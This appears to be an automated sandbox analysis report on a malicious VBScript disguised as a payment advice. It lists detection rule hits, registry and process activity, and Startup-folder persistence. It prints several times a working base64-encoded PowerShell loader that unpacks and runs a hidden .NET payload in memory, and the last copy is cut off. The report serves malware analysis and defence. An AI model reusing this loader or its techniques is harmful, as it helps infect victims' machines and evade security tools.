Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security

Reads the System eventlog

Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell

System Summary

Malicious sample detected (through community Yara rule)

Source: 14.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Neshta Author: ditekSHen
Source: Process Memory Space: PaymentAdvice-1629043.vbs.exe PID: 6076, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: Value.vbs.exe PID: 5232, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}	Jump to behavior

Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Code function: 4_2_074D1400	4_2_074D1400
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Code function: 4_2_0A2BEAB8	4_2_0A2BEAB8
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Code function: 4_2_0A2A0006	4_2_0A2A0006
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Code function: 4_2_0A2A0040	4_2_0A2A0040
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_08C1BEB6	12_2_08C1BEB6
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_08C1B678	12_2_08C1B678
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_08C13A47	12_2_08C13A47
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_08C12A50	12_2_08C12A50
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_08C13A58	12_2_08C13A58
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_08C12A60	12_2_08C12A60
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_08C12CB8	12_2_08C12CB8
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_08C12319	12_2_08C12319
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_08C12328	12_2_08C12328
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_08C13540	12_2_08C13540
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_08C13531	12_2_08C13531
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_08C1B668	12_2_08C1B668
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_08C1C740	12_2_08C1C740
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_08C1C731	12_2_08C1C731
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_0A5B62E0	12_2_0A5B62E0
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_0A5BCB3E	12_2_0A5BCB3E
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_0A5BCBC6	12_2_0A5BCBC6
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_0A5B0380	12_2_0A5B0380
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_0A5BC758	12_2_0A5BC758
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_0A5BC768	12_2_0A5BC768
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_0A5BC7F8	12_2_0A5BC7F8
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_0A5E0040	12_2_0A5E0040
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_0A5E38E0	12_2_0A5E38E0
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_0A5E0367	12_2_0A5E0367
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_0A5E1648	12_2_0A5E1648
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_0A95EAB8	12_2_0A95EAB8
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_0A940006	12_2_0A940006
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Code function: 12_2_0A940040	12_2_0A940040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_0040A948	14_2_0040A948

Source: PaymentAdvice-1629043.vbs

Initial sample: Strings found which are bigger than 50

Source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2097469313.0000000002CEA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs PaymentAdvice-1629043.vbs
Source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2159795310.000000000A110000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs PaymentAdvice-1629043.vbs
Source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs PaymentAdvice-1629043.vbs
Source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs PaymentAdvice-1629043.vbs
Source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2098406061.0000000004AA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs PaymentAdvice-1629043.vbs
Source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.00000000061EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs PaymentAdvice-1629043.vbs
Source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2160144356.000000000A160000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs PaymentAdvice-1629043.vbs
Source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2152427058.0000000008220000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameOdyvxuh.exe0 vs PaymentAdvice-1629043.vbs
Source: PaymentAdvice-1629043.vbs.exe, 00000004.00000000.2071326602.00000000009B4000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamePowerShell.EXEj% vs PaymentAdvice-1629043.vbs
Source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.00000000062D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs PaymentAdvice-1629043.vbs
Source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.00000000062D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameOdyvxuh.exe0 vs PaymentAdvice-1629043.vbs
Source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2157431297.0000000009D80000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameJqiuzsp.dll" vs PaymentAdvice-1629043.vbs
Source: PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2098406061.0000000004AF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs PaymentAdvice-1629043.vbs
Source: PaymentAdvice-1629043.vbs.exe.2.dr	Binary or memory string: OriginalFilenamePowerShell.EXEj% vs PaymentAdvice-1629043.vbs

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2281
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2273
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2281	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2273	Jump to behavior

Source: 14.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: Process Memory Space: PaymentAdvice-1629043.vbs.exe PID: 6076, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: Value.vbs.exe PID: 5232, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 4.2.PaymentAdvice-1629043.vbs.exe.a160000.11.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 4.2.PaymentAdvice-1629043.vbs.exe.a160000.11.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 4.2.PaymentAdvice-1629043.vbs.exe.a160000.11.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 4.2.PaymentAdvice-1629043.vbs.exe.a160000.11.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'

Source: 4.2.PaymentAdvice-1629043.vbs.exe.a160000.11.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 4.2.PaymentAdvice-1629043.vbs.exe.a160000.11.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 4.2.PaymentAdvice-1629043.vbs.exe.a160000.11.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 4.2.PaymentAdvice-1629043.vbs.exe.a160000.11.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 4.2.PaymentAdvice-1629043.vbs.exe.a160000.11.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 4.2.PaymentAdvice-1629043.vbs.exe.a160000.11.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.spre.bank.expl.evad.winVBS@19/11@0/0

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2164:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2876:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:320:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3012:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: \Sessions\1\BaseNamedObjects\MutexPolesskayaGlush. svchost.com n X . t N t h ` T 5 @

Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t5vyqr4d.lsd.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs"

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe

File read: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe" /Y
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe" -enc JABKAG0AcgBwAHAAYwB1AGIAcgBtAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUALgBSAGUAcABsAGEAYwBlACgAJwAuAGUAeABlACcALAAnACcAKQA7ACQASABvAHMAZABjAHQAaABsAHYAdABvACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQASgBtAHIAcABwAGMAdQBiAHIAbQBtACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAFcAawBmAGMAbABsAGgAagB4ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEgAbwBzAGQAYwB0AGgAbAB2AHQAbwAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAQwBnAGwAYQBrAGgAegByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABXAGsAZgBjAGwAbABoAGoAeAAgACkAOwAkAEMAbQBqAHAAegB5AHYAcABjAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAFUAbgB0AGkAcABmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAEMAZwBsAGEAawBoAHoAcgAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAVQBuAHQAaQBwAGYALgBDAG8AcAB5AFQAbwAoACAAJABDAG0AagBwAHoAeQB2AHAAYwBzACAAKQA7ACQAVQBuAHQAaQBwAGYALgBDAGwAbwBzAGUAKAApADsAJABDAGcAbABhAGsAaAB6AHIALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABXAGsAZgBjAGwAbABoAGoAeAAgAD0AIAAkAEMAbQBqAHAAegB5AHYAcABjAHMALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFcAawBmAGMAbABsAGgAagB4ACkAOwAgACQATwByAHkAbABnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAVwBrAGYAYwBsAGwAaABqAHgAKQA7ACAAJABHAGIAZwBrAGYAdABxAHAAIAA9ACAAJABPAHIAeQBsAGcALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAIABbAFMAeQBzAHQAZQBtAC4ARABlAGwAZQBnAGEAdABlAF0AOgA6AEMAcgBlAGEAdABlAEQAZQBsAGUAZwBhAHQAZQAoAFsAQQBjAHQAaQBvAG4AXQAsACAAJABHAGIAZwBrAGYAdABxAHAALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEcAYgBnAGsAZgB0AHEAcAAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Value.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\AppData\Roaming\Value.vbs.exe" /Y
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\Value.vbs.exe "C:\Users\user\AppData\Roaming\Value.vbs.exe" -enc JABKAG0AcgBwAHAAYwB1AGIAcgBtAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUALgBSAGUAcABsAGEAYwBlACgAJwAuAGUAeABlACcALAAnACcAKQA7ACQASABvAHMAZABjAHQAaABsAHYAdABvACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQASgBtAHIAcABwAGMAdQBiAHIAbQBtACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAFcAawBmAGMAbABsAGgAagB4ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEgAbwBzAGQAYwB0AGgAbAB2AHQAbwAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAQwBnAGwAYQBrAGgAegByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABXAGsAZgBjAGwAbABoAGoAeAAgACkAOwAkAEMAbQBqAHAAegB5AHYAcABjAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAFUAbgB0AGkAcABmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAEMAZwBsAGEAawBoAHoAcgAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAVQBuAHQAaQBwAGYALgBDAG8AcAB5AFQAbwAoACAAJABDAG0AagBwAHoAeQB2AHAAYwBzACAAKQA7ACQAVQBuAHQAaQBwAGYALgBDAGwAbwBzAGUAKAApADsAJABDAGcAbABhAGsAaAB6AHIALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABXAGsAZgBjAGwAbABoAGoAeAAgAD0AIAAkAEMAbQBqAHAAegB5AHYAcABjAHMALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFcAawBmAGMAbABsAGgAagB4ACkAOwAgACQATwByAHkAbABnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAVwBrAGYAYwBsAGwAaABqAHgAKQA7ACAAJABHAGIAZwBrAGYAdABxAHAAIAA9ACAAJABPAHIAeQBsAGcALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAIABbAFMAeQBzAHQAZQBtAC4ARABlAGwAZQBnAGEAdABlAF0AOgA6AEMAcgBlAGEAdABlAEQAZQBsAGUAZwBhAHQAZQAoAFsAQQBjAHQAaQBvAG4AXQAsACAAJABHAGIAZwBrAGYAdABxAHAALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEcAYgBnAGsAZgB0AHEAcAAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe "C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe" -enc JABKAG0AcgBwAHAAYwB1AGIAcgBtAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUALgBSAGUAcABsAGEAYwBlACgAJwAuAGUAeABlACcALAAnACcAKQA7ACQASABvAHMAZABjAHQAaABsAHYAdABvACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQASgBtAHIAcABwAGMAdQBiAHIAbQBtACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAFcAawBmAGMAbABsAGgAagB4ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEgAbwBzAGQAYwB0AGgAbAB2AHQAbwAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAQwBnAGwAYQBrAGgAegByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABXAGsAZgBjAGwAbABoAGoAeAAgACkAOwAkAEMAbQBqAHAAegB5AHYAcABjAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAFUAbgB0AGkAcABmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAEMAZwBsAGEAawBoAHoAcgAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAVQBuAHQAaQBwAGYALgBDAG8AcAB5AFQAbwAoACAAJABDAG0AagBwAHoAeQB2AHAAYwBzACAAKQA7ACQAVQBuAHQAaQBwAGYALgBDAGwAbwBzAGUAKAApADsAJABDAGcAbABhAGsAaAB6AHIALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABXAGsAZgBjAGwAbABoAGoAeAAgAD0AIAAkAEMAbQBqAHAAegB5AHYAcABjAHMALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFcAawBmAGMAbABsAGgAagB4ACkAOwAgACQATwByAHkAbABnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAVwBrAGYAYwBsAGwAaABqAHgAKQA7ACAAJABHAGIAZwBrAGYAdABxAHAAIAA9ACAAJABPAHIAeQBsAGcALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAIABbAFMAeQBzAHQAZQBtAC4ARABlAGwAZQBnAGEAdAB